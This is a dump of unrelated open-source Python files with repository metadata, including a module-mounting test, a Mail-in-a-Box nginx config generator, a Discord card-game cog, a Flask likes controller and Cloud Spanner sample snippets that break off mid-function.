assert_equal(self.mounting_view_handler.mounting_status, 0) assert_equal(self.mounting_view_handler.quota, '-') model.add_tenta_mounting(test_module_code, self.next_ay+' Sem 1', 30) def test_unmounted_from_sem_2(self): ''' Tests that a module that is unmounted from sem 2 will have the tentative-mounting value of '0' for sem 2 ''' test_module_code = "BB1003" model.delete_tenta_mounting(test_module_code, self.next_ay+' Sem 2') self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(tenta_mounting_plan) > 0) tenta_sem_2_mounting_value = tenta_mounting_plan[1][1] tenta_sem_2_quota = tenta_mounting_plan[1][2] assert_equal(tenta_sem_2_mounting_value, 0) assert_equal(tenta_sem_2_quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 40) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 0) assert_equal(self.mounting_view_handler.quota, '-') model.add_tenta_mounting(test_module_code, self.next_ay+' Sem 2', 40) def test_unmounted_from_both_sems(self): ''' Tests that a module that is unmounted from both sems will have the tentative-mounting values '0' and '0' ''' test_module_code = "BB1001" model.delete_tenta_mounting(test_module_code, self.next_ay+' Sem 1') model.delete_tenta_mounting(test_module_code, self.next_ay+' Sem 2') self.module_overview_handler.load_fixed_mounting_plan(test_module_code) self.module_overview_handler.load_tenta_mounting_plan(test_module_code) tenta_mounting_plan = self.module_overview_handler.tenta_mounting_plan assert_true(len(tenta_mounting_plan) > 0) tenta_sem_1_mounting_value = tenta_mounting_plan[0][1] tenta_sem_1_quota = tenta_mounting_plan[0][2] tenta_sem_2_mounting_value = tenta_mounting_plan[1][1] tenta_sem_2_quota = tenta_mounting_plan[1][2] assert_equal(tenta_sem_1_mounting_value, 0) assert_equal(tenta_sem_1_quota, '-') assert_equal(tenta_sem_2_mounting_value, 0) assert_equal(tenta_sem_2_quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 10) self.mounting_view_handler.load_mounting_info(test_module_code, self.current_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 1) assert_equal(self.mounting_view_handler.quota, 20) self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 1') assert_equal(self.mounting_view_handler.mounting_status, 0) assert_equal(self.mounting_view_handler.quota, '-') self.mounting_view_handler.load_mounting_info(test_module_code, self.next_ay+' Sem 2') assert_equal(self.mounting_view_handler.mounting_status, 0) assert_equal(self.mounting_view_handler.quota, '-') model.add_tenta_mounting(test_module_code, self.next_ay+' Sem 1', 10) model.add_tenta_mounting(test_module_code, self.next_ay+' Sem 2', 20)

48.32337

100

0.714503

4a07dbd2759e1adc3cea2779e0b4dbe21b23ca02

39

py

Python

lang/py/cookbook/v2/source/cb2_19_4_exm_3.py

ch1huizong/learning

632267634a9fd84a5f5116de09ff1e2681a6cc85

[ "MIT" ]

null

lang/py/cookbook/v2/source/cb2_19_4_exm_3.py

ch1huizong/learning

632267634a9fd84a5f5116de09ff1e2681a6cc85

[ "MIT" ]

null

lang/py/cookbook/v2/source/cb2_19_4_exm_3.py

ch1huizong/learning

632267634a9fd84a5f5116de09ff1e2681a6cc85

[ "MIT" ]

null

c = iter(t5) a = c.next() b = c.next()

9.75

12

0.487179

4a07dc31aec5bc3107b692bc44cb4849f5a82f1b

985

py

Python

iotronic_ui/enabled/_6030_iot_services_panel.py

smartmeio/stack4things-iotronic-ui

b0324c020bb4d5d74cfa9795f90c02fadae4fa8b

[ "Apache-2.0" ]

1

2021-11-03T12:00:44.000Z

iotronic_ui/enabled/_6030_iot_services_panel.py

smartmeio/stack4things-iotronic-ui

b0324c020bb4d5d74cfa9795f90c02fadae4fa8b

[ "Apache-2.0" ]

1

2018-10-17T10:59:55.000Z

2018-10-30T11:58:40.000Z

iotronic_ui/enabled/_6030_iot_services_panel.py

smartmeio/stack4things-iotronic-ui

b0324c020bb4d5d74cfa9795f90c02fadae4fa8b

[ "Apache-2.0" ]

null

# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # The slug of the panel to be added to HORIZON_CONFIG. Required. PANEL = 'services' # The slug of the dashboard the PANEL associated with. Required. PANEL_DASHBOARD = 'iot' # The slug of the panel group the PANEL is associated with. PANEL_GROUP = 'iot' # If set, it will update the default panel of the PANEL_DASHBOARD. DEFAULT_PANEL = '' # Python panel class of the PANEL to be added. ADD_PANEL = 'iotronic_ui.iot.services.panel.Services'

41.041667

74

0.763452

4a07dc9eb9317135abe983bf307ea03b02545093

10,018

py

Python

management/web_update.py

doofpot/mailinabox

421846f06736b1af5fcb0e6dfdb731c90077f8fa

[ "CC0-1.0" ]

null

management/web_update.py

doofpot/mailinabox

421846f06736b1af5fcb0e6dfdb731c90077f8fa

[ "CC0-1.0" ]

null

management/web_update.py

doofpot/mailinabox

421846f06736b1af5fcb0e6dfdb731c90077f8fa

[ "CC0-1.0" ]

null

# Creates an nginx configuration file so we serve HTTP/HTTPS on all # domains for which a mail account has been set up. ######################################################################## import os.path, re, rtyaml from mailconfig import get_mail_domains from dns_update import get_custom_dns_config, get_dns_zones from ssl_certificates import get_ssl_certificates, get_domain_ssl_files, check_certificate from utils import shell, safe_domain_name, sort_domains def get_web_domains(env, include_www_redirects=True, exclude_dns_elsewhere=True): # What domains should we serve HTTP(S) for? domains = set() # Serve web for all mail domains so that we might at least # provide auto-discover of email settings, and also a static website # if the user wants to make one. domains |= get_mail_domains(env) if include_www_redirects: # Add 'www.' subdomains that we want to provide default redirects # to the main domain for. We'll add 'www.' to any DNS zones, i.e. # the topmost of each domain we serve. domains |= set('www.' + zone for zone, zonefile in get_dns_zones(env)) # Add Autoconfiguration domains, allowing us to serve correct SSL certs. # 'autoconfig.' for Mozilla Thunderbird auto setup. # 'autodiscover.' for Activesync autodiscovery. domains |= set('autoconfig.' + maildomain for maildomain in get_mail_domains(env)) domains |= set('autodiscover.' + maildomain for maildomain in get_mail_domains(env)) # 'mta-sts.' for MTA-STS support. domains |= set('mta-sts.' + maildomain for maildomain in get_mail_domains(env)) if exclude_dns_elsewhere: # ...Unless the domain has an A/AAAA record that maps it to a different # IP address than this box. Remove those domains from our list. domains -= get_domains_with_a_records(env) # Ensure the PRIMARY_HOSTNAME is in the list so we can serve webmail # as well as Z-Push for Exchange ActiveSync. This can't be removed # by a custom A/AAAA record and is never a 'www.' redirect. domains.add(env['PRIMARY_HOSTNAME']) # Sort the list so the nginx conf gets written in a stable order. domains = sort_domains(domains, env) return domains def get_domains_with_a_records(env): domains = set() dns = get_custom_dns_config(env) for domain, rtype, value in dns: if rtype == "CNAME" or (rtype in ("A", "AAAA") and value not in ("local", env['PUBLIC_IP'])): domains.add(domain) return domains def get_web_domains_with_root_overrides(env): # Load custom settings so we can tell what domains have a redirect or proxy set up on '/', # which means static hosting is not happening. root_overrides = { } nginx_conf_custom_fn = os.path.join(env["STORAGE_ROOT"], "www/custom.yaml") if os.path.exists(nginx_conf_custom_fn): custom_settings = rtyaml.load(open(nginx_conf_custom_fn)) for domain, settings in custom_settings.items(): for type, value in [('redirect', settings.get('redirects', {}).get('/')), ('proxy', settings.get('proxies', {}).get('/'))]: if value: root_overrides[domain] = (type, value) return root_overrides def do_web_update(env): # Pre-load what SSL certificates we will use for each domain. ssl_certificates = get_ssl_certificates(env) # Build an nginx configuration file. nginx_conf = open(os.path.join(os.path.dirname(__file__), "../conf/nginx-top.conf")).read() # Load the templates. template0 = open(os.path.join(os.path.dirname(__file__), "../conf/nginx.conf")).read() template1 = open(os.path.join(os.path.dirname(__file__), "../conf/nginx-alldomains.conf")).read() template2 = open(os.path.join(os.path.dirname(__file__), "../conf/nginx-primaryonly.conf")).read() template3 = "\trewrite ^(.*) https://$REDIRECT_DOMAIN$1 permanent;\n" # Add the PRIMARY_HOST configuration first so it becomes nginx's default server. nginx_conf += make_domain_config(env['PRIMARY_HOSTNAME'], [template0, template1, template2], ssl_certificates, env) # Add configuration all other web domains. has_root_proxy_or_redirect = get_web_domains_with_root_overrides(env) web_domains_not_redirect = get_web_domains(env, include_www_redirects=False) for domain in get_web_domains(env): if domain == env['PRIMARY_HOSTNAME']: # PRIMARY_HOSTNAME is handled above. continue if domain in web_domains_not_redirect: # This is a regular domain. if domain not in has_root_proxy_or_redirect: nginx_conf += make_domain_config(domain, [template0, template1], ssl_certificates, env) else: nginx_conf += make_domain_config(domain, [template0], ssl_certificates, env) else: # Add default 'www.' redirect. nginx_conf += make_domain_config(domain, [template0, template3], ssl_certificates, env) # Did the file change? If not, don't bother writing & restarting nginx. nginx_conf_fn = "/etc/nginx/conf.d/local.conf" if os.path.exists(nginx_conf_fn): with open(nginx_conf_fn) as f: if f.read() == nginx_conf: return "" # Save the file. with open(nginx_conf_fn, "w") as f: f.write(nginx_conf) # Kick nginx. Since this might be called from the web admin # don't do a 'restart'. That would kill the connection before # the API returns its response. A 'reload' should be good # enough and doesn't break any open connections. shell('check_call', ["/usr/sbin/service", "nginx", "reload"]) return "web updated\n" def make_domain_config(domain, templates, ssl_certificates, env): # GET SOME VARIABLES # Where will its root directory be for static files? root = get_web_root(domain, env) # What private key and SSL certificate will we use for this domain? tls_cert = get_domain_ssl_files(domain, ssl_certificates, env) # ADDITIONAL DIRECTIVES. nginx_conf_extra = "" # Because the certificate may change, we should recognize this so we # can trigger an nginx update. def hashfile(filepath): import hashlib sha1 = hashlib.sha1() f = open(filepath, 'rb') try: sha1.update(f.read()) finally: f.close() return sha1.hexdigest() nginx_conf_extra += "# ssl files sha1: %s / %s\n" % (hashfile(tls_cert["private-key"]), hashfile(tls_cert["certificate"])) # Add in any user customizations in YAML format. hsts = "yes" nginx_conf_custom_fn = os.path.join(env["STORAGE_ROOT"], "www/custom.yaml") if os.path.exists(nginx_conf_custom_fn): yaml = rtyaml.load(open(nginx_conf_custom_fn)) if domain in yaml: yaml = yaml[domain] # any proxy or redirect here? for path, url in yaml.get("proxies", {}).items(): nginx_conf_extra += "\tlocation %s {" % path nginx_conf_extra += "\n\t\tproxy_pass %s;" % url nginx_conf_extra += "\n\t\tproxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;" nginx_conf_extra += "\n\t}\n" for path, alias in yaml.get("aliases", {}).items(): nginx_conf_extra += "\tlocation %s {" % path nginx_conf_extra += "\n\t\talias %s;" % alias nginx_conf_extra += "\n\t}\n" for path, url in yaml.get("redirects", {}).items(): nginx_conf_extra += "\trewrite %s %s permanent;\n" % (path, url) # override the HSTS directive type hsts = yaml.get("hsts", hsts) # Add the HSTS header. if hsts == "yes": nginx_conf_extra += "add_header Strict-Transport-Security max-age=15768000;\n" elif hsts == "preload": nginx_conf_extra += "add_header Strict-Transport-Security \"max-age=15768000; includeSubDomains; preload\";\n" # Add in any user customizations in the includes/ folder. nginx_conf_custom_include = os.path.join(env["STORAGE_ROOT"], "www", safe_domain_name(domain) + ".conf") if os.path.exists(nginx_conf_custom_include): nginx_conf_extra += "\tinclude %s;\n" % (nginx_conf_custom_include) # PUT IT ALL TOGETHER # Combine the pieces. Iteratively place each template into the "# ADDITIONAL DIRECTIVES HERE" placeholder # of the previous template. nginx_conf = "# ADDITIONAL DIRECTIVES HERE\n" for t in templates + [nginx_conf_extra]: nginx_conf = re.sub("[ \t]*# ADDITIONAL DIRECTIVES HERE *\n", t, nginx_conf) # Replace substitution strings in the template & return. nginx_conf = nginx_conf.replace("$STORAGE_ROOT", env['STORAGE_ROOT']) nginx_conf = nginx_conf.replace("$HOSTNAME", domain) nginx_conf = nginx_conf.replace("$ROOT", root) nginx_conf = nginx_conf.replace("$SSL_KEY", tls_cert["private-key"]) nginx_conf = nginx_conf.replace("$SSL_CERTIFICATE", tls_cert["certificate"]) nginx_conf = nginx_conf.replace("$REDIRECT_DOMAIN", re.sub(r"^www\.", "", domain)) # for default www redirects to parent domain return nginx_conf def get_web_root(domain, env, test_exists=True): # Try STORAGE_ROOT/web/domain_name if it exists, but fall back to STORAGE_ROOT/web/default. for test_domain in (domain, 'default'): root = os.path.join(env["STORAGE_ROOT"], "www", safe_domain_name(test_domain)) if os.path.exists(root) or not test_exists: break return root def get_web_domains_info(env): www_redirects = set(get_web_domains(env)) - set(get_web_domains(env, include_www_redirects=False)) has_root_proxy_or_redirect = set(get_web_domains_with_root_overrides(env)) ssl_certificates = get_ssl_certificates(env) # for the SSL config panel, get cert status def check_cert(domain): try: tls_cert = get_domain_ssl_files(domain, ssl_certificates, env, allow_missing_cert=True) except OSError: # PRIMARY_HOSTNAME cert is missing tls_cert = None if tls_cert is None: return ("danger", "No certificate installed.") cert_status, cert_status_details = check_certificate(domain, tls_cert["certificate"], tls_cert["private-key"]) if cert_status == "OK": return ("success", "Signed & valid. " + cert_status_details) elif cert_status == "SELF-SIGNED": return ("warning", "Self-signed. Get a signed certificate to stop warnings.") else: return ("danger", "Certificate has a problem: " + cert_status) return [ { "domain": domain, "root": get_web_root(domain, env), "custom_root": get_web_root(domain, env, test_exists=False), "ssl_certificate": check_cert(domain), "static_enabled": domain not in (www_redirects | has_root_proxy_or_redirect), } for domain in get_web_domains(env) ]

41.741667

128

0.729387

4a07dcaeb700f605cea63b1f679a5579981351cf

899

py

Python

flask/code/P6.FlaskDotEnvJwtCrud/controllers/likes_controller.py

santiagovj22/python-training

3fbcc9e5df22432c6e75d80c90d1c235652354df

[ "MIT" ]

null

flask/code/P6.FlaskDotEnvJwtCrud/controllers/likes_controller.py

santiagovj22/python-training

3fbcc9e5df22432c6e75d80c90d1c235652354df

[ "MIT" ]

null

flask/code/P6.FlaskDotEnvJwtCrud/controllers/likes_controller.py

santiagovj22/python-training

3fbcc9e5df22432c6e75d80c90d1c235652354df

[ "MIT" ]

null

from flask import request from flask_restx import Resource from flask_jwt_extended import jwt_required, get_jwt_identity from services.likes_service import init_service, get_likes, add_likes, remove_likes def init_likes_controller(api, app): init_service(app) #game_model = get_game_model(api) class UserLikesList(Resource): """A resource controller for the likes from users on a game""" @jwt_required def get(self, game_id): return get_likes(game_id) @jwt_required def post(self, game_id): identity = get_jwt_identity() return add_likes(game_id, identity['user_id']) @jwt_required def delete(self, game_id): identity = get_jwt_identity() return remove_likes(game_id, identity['user_id']) api.add_resource(UserLikesList, '/games/<string:game_id>/likes')

31

83

0.681869

4a07ddae2836d5fab1fcbcffe6348e9eec4dc484

9,893

py

Python

higherorlower/core.py

kreus7/HigherOrLower

a1189f7c26e1f6bb7e68e122b24433d8390c5f23

[ "MIT" ]

null

higherorlower/core.py

kreus7/HigherOrLower

a1189f7c26e1f6bb7e68e122b24433d8390c5f23

[ "MIT" ]

1

2021-01-31T12:37:06.000Z

higherorlower/core.py

kreus7/HigherOrLower

a1189f7c26e1f6bb7e68e122b24433d8390c5f23

[ "MIT" ]

null

import discord from typing import Literal from random import randint from asyncio import sleep, TimeoutError from redbot.core import bank, commands, Config from redbot.core.i18n import Translator, cog_i18n from .generators import embed from .cards import BACKALL _ = Translator("HigherOrLower", __file__) @cog_i18n(_) class HigherOrLower(commands.Cog): """ Play the higher or lower card game! For more information, take a read [here](https://kreusadacogs.readthedocs.io/en/latest/higherorlower.html#higherorlower). """ __author__ = "Kreusada" __version__ = "1.3.0" def __init__(self, bot): self.bot = bot self.config = Config.get_conf(self, 439583, force_registration=True) self.config.register_guild( bank=False, round=0, per=0, qs=9 ) self.config.register_user( draw=None, image=False, count=1 ) def format_help_for_context(self, ctx: commands.Context) -> str: """Thanks Sinbad.""" return f"{super().format_help_for_context(ctx)}\n\nAuthor: {self.__author__}\nVersion: {self.__version__}" async def red_delete_data_for_user( self, requester: Literal["discord", "owner", "user", "user_strict"], user_id: int ) -> None: await self.config.user_from_id(user_id).clear() @commands.command() async def hol(self, ctx: commands.Context): """ Play higher or lower! Guess if the next number will be higher or lower based on a standard pack of cards. For more information, please take a look [here](https://kreusadacogs.readthedocs.io/en/latest/higherorlower.html#higherorlower). """ banke = await self.config.guild(ctx.guild).bank() currency = await bank.get_currency_name(ctx.guild) per = await self.config.guild(ctx.guild).per() round = await self.config.guild(ctx.guild).round() qs = await self.config.guild(ctx.guild).qs() await ctx.send(f"Let's get started {ctx.author.name}. Remember to answer with either `higher`, `h`, `lower` or `l`.") def check(x): return x.author == ctx.author and x.channel == ctx.channel and x.content.lower().startswith(("h", "l")) for i in range(int(qs)): draw = await self.config.user(ctx.author).draw() msg = f"❌ Oh no {ctx.author.name}! " if not draw: A = randint(2, 14) else: A = draw B = randint(2, 14) await sleep(1) E = await embed(ctx.author.name, A, await self.config.user(ctx.author).image(), await self.config.user(ctx.author).count(), qs) await ctx.send(embed=E) try: choice = await self.bot.wait_for("message", timeout=40, check=check) except TimeoutError: e = discord.Embed(description=msg + "You took too long to respond.", color=0xFF0000) await ctx.send(embed=e) await self.config.user(ctx.author).draw.set(None) await self.config.user(ctx.author).count.set(1) break if choice.content.lower().startswith(("h")) and B > A or choice.content.lower().startswith(("l")) and B < A: e = discord.Embed(description=f"✅ Great work! The next number is...", color=0x00FF00) if banke is True: await bank.deposit_credits(ctx.author, per) e.set_footer(text=f"+{per} has been added to your bank account.") await ctx.send(embed=e) await self.config.user(ctx.author).draw.set(B) count = await self.config.user(ctx.author).count() count += 1 await self.config.user(ctx.author).count.set(count) continue elif choice.content.lower().startswith("h") and B == A or choice.content.lower().startswith("l") and B == A: e = discord.Embed(description=f"😌 The results were the same! The next number is...", color=0xFFFF00) if banke is True: e.set_footer(text=f"+{per} has been added to your bank account.") await bank.deposit_credits(ctx.author, per) await ctx.send(embed=e) await self.config.user(ctx.author).draw.set(B) count = await self.config.user(ctx.author).count() count += 1 await self.config.user(ctx.author).count.set(count) continue else: if B == 11: B = "Jack" elif B == 12: B = "Queen" elif B == 13: B = "King" elif B == 14: B = "Ace" else: B = B e = discord.Embed(description=f"❌ Oh no {ctx.author.name}! The next card was a {B}.", color=0xFF0000) await ctx.send(embed=e) await self.config.user(ctx.author).draw.set(None) await self.config.user(ctx.author).count.set(1) break else: if banke is True: await bank.deposit_credits(ctx.author, round) description = f"🎉 You MADE IT {ctx.author.name}!! Awesome work!\n{round} {currency} has been added to your bank account." E = discord.Embed(description=description, color=0x00FF00) await ctx.send(embed=E) else: E = discord.Embed(description=f"🎉 You MADE IT {ctx.author.name}!! Awesome work!", color=0x00FF00) await ctx.send(embed=E) await self.config.user(ctx.author).draw.set(None) await self.config.user(ctx.author).count.set(1) @commands.group() async def holset(self, ctx: commands.Context): """Settings for higher or lower.""" @holset.command() @commands.mod_or_permissions(administrator=True) async def perpayout(self, ctx: commands.Context, payout: int): """Sets the bank payout per answer.""" currency = await bank.get_currency_name(ctx.guild) if payout > 1000: await ctx.send(f"{payout} exceeds the maximum payout. Please go lower.") else: await self.config.guild(ctx.guild).per.set(payout) await ctx.send(f"Done. Users will now receive {payout} {currency} when they correctly guess a card.") @holset.command() @commands.mod_or_permissions(administrator=True) async def total(self, ctx: commands.Context, cards: int): """ Set the total of answered cards needed to win. This value defaults to 9. """ currency = await bank.get_currency_name(ctx.guild) if cards <= 3: await ctx.send(f"Setting the required cards to {int(cards)} would be too easy. Please go higher.") elif cards >= 20: await ctx.send(f"Setting the required cards to {int(cards)}... would that even be possible? Please go lower.") else: await self.config.guild(ctx.guild).qs.set(cards) await ctx.send(f"Users will now have to answer {int(cards)} cards correctly before winning.") @holset.command() @commands.mod_or_permissions(administrator=True) async def roundpayout(self, ctx: commands.Context, payout: int): """Sets the bank payout if all 9 cards are correctly guessed.""" currency = await bank.get_currency_name(ctx.guild) if payout > 100000: await ctx.send(f"{payout} exceeds the maximum payout. Please go lower.") else: await self.config.guild(ctx.guild).round.set(payout) await ctx.send(f"Done. Users will now receive {payout} {currency} when they correctly guess all nine cards.") @holset.command() @commands.mod_or_permissions(administrator=True) async def togglebank(self, ctx: commands.Context, true_or_false: bool = False): """Toggle the bank ON. Defaults to False.""" if true_or_false is False: await self.config.guild(ctx.guild).bank.set(False) await ctx.send( f"The bank is now off.\n" f"You can turn it on by using `{ctx.clean_prefix}holset togglebank true`." ) else: await self.config.guild(ctx.guild).bank.set(True) await ctx.send( f"The bank is now ON.\n" f"Round payout: {int(await self.config.guild(ctx.guild).round())} <-" f"`Modify using {ctx.clean_prefix}holset roundpayout`.\n" f"Per-card payout: {int(await self.config.guild(ctx.guild).per())} <-" f"`Modify using {ctx.clean_prefix}holset perpayout`." ) @holset.command() async def image(self, ctx: commands.Context, true_or_false: bool): """ Specify whether you would like an image card. Defaults are set to False (thumbnail). """ if true_or_false is False: await self.config.user(ctx.author).image.set(False) E = discord.Embed(title="Thumbnail responses", description="Embeds will now be sent like this.", color=0xFF0000) E.set_thumbnail(url=BACKALL) E.set_footer(text="The image stays nice and small, perfect for mobile.") await ctx.send(embed=E) else: await self.config.user(ctx.author).image.set(True) E = discord.Embed(title="Image responses", description="Embeds will now be sent like this.", color=0xFF0000) E.set_image(url=BACKALL) E.set_footer(text="The image is nice and large, perfect for desktop.") await ctx.send(embed=E)

45.800926

139

0.585363

4a07ded362ec5d0241f53ffe7d71f90a0bd04903

907

py

Python

src/tools.py

nkashy1/mockingbird

89c6c669c7ea879a8dd986bf3a2f66d7deb7fbe9

[ "MIT" ]

null

src/tools.py

nkashy1/mockingbird

89c6c669c7ea879a8dd986bf3a2f66d7deb7fbe9

[ "MIT" ]

null

src/tools.py

nkashy1/mockingbird

89c6c669c7ea879a8dd986bf3a2f66d7deb7fbe9

[ "MIT" ]

null

# Standard modules # External modules # Internal modules def patch_returner(obj, name, fake_method_return_value): fake_returner = create_fake_returner(fake_method_return_value) monkey_patch(obj, name, fake_returner) def patch_caller(obj, name, function_to_call, *args, **kwargs): fake_caller = create_fake_caller(function_to_call, *args, **kwargs) monkey_patch(obj, name, fake_caller) def monkey_patch(obj, name, function): bound_method = function.__get__(obj) setattr(obj, name, bound_method) def create_fake_returner(fake_returner_return_value): def fake_returner(self, *method_args, **method_kwargs): return fake_returner_return_value return fake_returner def create_fake_caller(function_to_call): def fake_caller(self, *method_args, **method_kwargs): return function_to_call(*method_args, **method_kwargs) return fake_caller

25.914286

71

0.757442

4a07ded3ca997fbbd62c475abf683131d9220196

16,708

py

Python

spanner/cloud-client/snippets.py

arbatovdan/new

f36d2bf4846061ea22b35775c8074bcd5bec3788

[ "Apache-2.0" ]

1

2017-06-28T13:04:34.000Z

spanner/cloud-client/snippets.py

Acidburn0zzz/python-docs-samples

bc0924a6826cbdb669415b58fd5b2d8534d87aa1

[ "Apache-2.0" ]

null

spanner/cloud-client/snippets.py

Acidburn0zzz/python-docs-samples

bc0924a6826cbdb669415b58fd5b2d8534d87aa1

[ "Apache-2.0" ]

1

2021-01-13T21:45:31.000Z

#!/usr/bin/env python # Copyright 2016 Google, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """This application demonstrates how to do basic operations using Cloud Spanner. For more information, see the README.rst under /spanner. """ import argparse from google.cloud import spanner def create_database(instance_id, database_id): """Creates a database and tables for sample data.""" spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id, ddl_statements=[ """CREATE TABLE Singers ( SingerId INT64 NOT NULL, FirstName STRING(1024), LastName STRING(1024), SingerInfo BYTES(MAX) ) PRIMARY KEY (SingerId)""", """CREATE TABLE Albums ( SingerId INT64 NOT NULL, AlbumId INT64 NOT NULL, AlbumTitle STRING(MAX) ) PRIMARY KEY (SingerId, AlbumId), INTERLEAVE IN PARENT Singers ON DELETE CASCADE""" ]) operation = database.create() print('Waiting for operation to complete...') operation.result() print('Created database {} on instance {}'.format( database_id, instance_id)) def insert_data(instance_id, database_id): """Inserts sample data into the given database. The database and table must already exist and can be created using `create_database`. """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) with database.batch() as batch: batch.insert( table='Singers', columns=('SingerId', 'FirstName', 'LastName',), values=[ (1, u'Marc', u'Richards'), (2, u'Catalina', u'Smith'), (3, u'Alice', u'Trentor'), (4, u'Lea', u'Martin'), (5, u'David', u'Lomond')]) batch.insert( table='Albums', columns=('SingerId', 'AlbumId', 'AlbumTitle',), values=[ (1, 1, u'Go, Go, Go'), (1, 2, u'Total Junk'), (2, 1, u'Green'), (2, 2, u'Forever Hold Your Peace'), (2, 3, u'Terrified')]) print('Inserted data.') def query_data(instance_id, database_id): """Queries sample data from the database using SQL.""" spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) results = database.execute_sql( 'SELECT SingerId, AlbumId, AlbumTitle FROM Albums') for row in results: print(u'SingerId: {}, AlbumId: {}, AlbumTitle: {}'.format(*row)) def read_data(instance_id, database_id): """Reads sample data from the database.""" spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) keyset = spanner.KeySet(all_=True) results = database.read( table='Albums', columns=('SingerId', 'AlbumId', 'AlbumTitle',), keyset=keyset,) for row in results: print(u'SingerId: {}, AlbumId: {}, AlbumTitle: {}'.format(*row)) def query_data_with_new_column(instance_id, database_id): """Queries sample data from the database using SQL. This sample uses the `MarketingBudget` column. You can add the column by running the `add_column` sample or by running this DDL statement against your database: ALTER TABLE Albums ADD COLUMN MarketingBudget INT64 """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) results = database.execute_sql( 'SELECT SingerId, AlbumId, MarketingBudget FROM Albums') for row in results: print(u'SingerId: {}, AlbumId: {}, MarketingBudget: {}'.format(*row)) def add_index(instance_id, database_id): """Adds a simple index to the example database.""" spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) operation = database.update_ddl([ 'CREATE INDEX AlbumsByAlbumTitle ON Albums(AlbumTitle)']) print('Waiting for operation to complete...') operation.result() print('Added the AlbumsByAlbumTitle index.') def query_data_with_index( instance_id, database_id, start_title='Aardvark', end_title='Goo'): """Queries sample data from the database using SQL and an index. The index must exist before running this sample. You can add the index by running the `add_index` sample or by running this DDL statement against your database: CREATE INDEX AlbumsByAlbumTitle ON Albums(AlbumTitle) This sample also uses the `MarketingBudget` column. You can add the column by running the `add_column` sample or by running this DDL statement against your database: ALTER TABLE Albums ADD COLUMN MarketingBudget INT64 """ from google.cloud.proto.spanner.v1 import type_pb2 spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) params = { 'start_title': start_title, 'end_title': end_title } param_types = { 'start_title': type_pb2.Type(code=type_pb2.STRING), 'end_title': type_pb2.Type(code=type_pb2.STRING) } results = database.execute_sql( "SELECT AlbumId, AlbumTitle, MarketingBudget " "FROM Albums@{FORCE_INDEX=AlbumsByAlbumTitle} " "WHERE AlbumTitle >= @start_title AND AlbumTitle < @end_title", params=params, param_types=param_types) for row in results: print( u'AlbumId: {}, AlbumTitle: {}, ' 'MarketingBudget: {}'.format(*row)) def read_data_with_index(instance_id, database_id): """Reads sample data from the database using an index. The index must exist before running this sample. You can add the index by running the `add_index` sample or by running this DDL statement against your database: CREATE INDEX AlbumsByAlbumTitle ON Albums(AlbumTitle) """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) keyset = spanner.KeySet(all_=True) results = database.read( table='Albums', columns=('AlbumId', 'AlbumTitle'), keyset=keyset, index='AlbumsByAlbumTitle') for row in results: print('AlbumId: {}, AlbumTitle: {}'.format(*row)) def add_storing_index(instance_id, database_id): """Adds an storing index to the example database.""" spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) operation = database.update_ddl([ 'CREATE INDEX AlbumsByAlbumTitle2 ON Albums(AlbumTitle)' 'STORING (MarketingBudget)']) print('Waiting for operation to complete...') operation.result() print('Added the AlbumsByAlbumTitle2 index.') def read_data_with_storing_index(instance_id, database_id): """Reads sample data from the database using an index with a storing clause. The index must exist before running this sample. You can add the index by running the `add_soring_index` sample or by running this DDL statement against your database: CREATE INDEX AlbumsByAlbumTitle2 ON Albums(AlbumTitle) STORING (MarketingBudget) """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) keyset = spanner.KeySet(all_=True) results = database.read( table='Albums', columns=('AlbumId', 'AlbumTitle', 'MarketingBudget'), keyset=keyset, index='AlbumsByAlbumTitle2') for row in results: print( u'AlbumId: {}, AlbumTitle: {}, ' 'MarketingBudget: {}'.format(*row)) def add_column(instance_id, database_id): """Adds a new column to the Albums table in the example database.""" spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) operation = database.update_ddl([ 'ALTER TABLE Albums ADD COLUMN MarketingBudget INT64']) print('Waiting for operation to complete...') operation.result() print('Added the MarketingBudget column.') def update_data(instance_id, database_id): """Updates sample data in the database. This updates the `MarketingBudget` column which must be created before running this sample. You can add the column by running the `add_column` sample or by running this DDL statement against your database: ALTER TABLE Albums ADD COLUMN MarketingBudget INT64 """ spanner_client = spanner.Client() instance = spanner_client.instance(instance_id) database = instance.database(database_id) with database.batch() 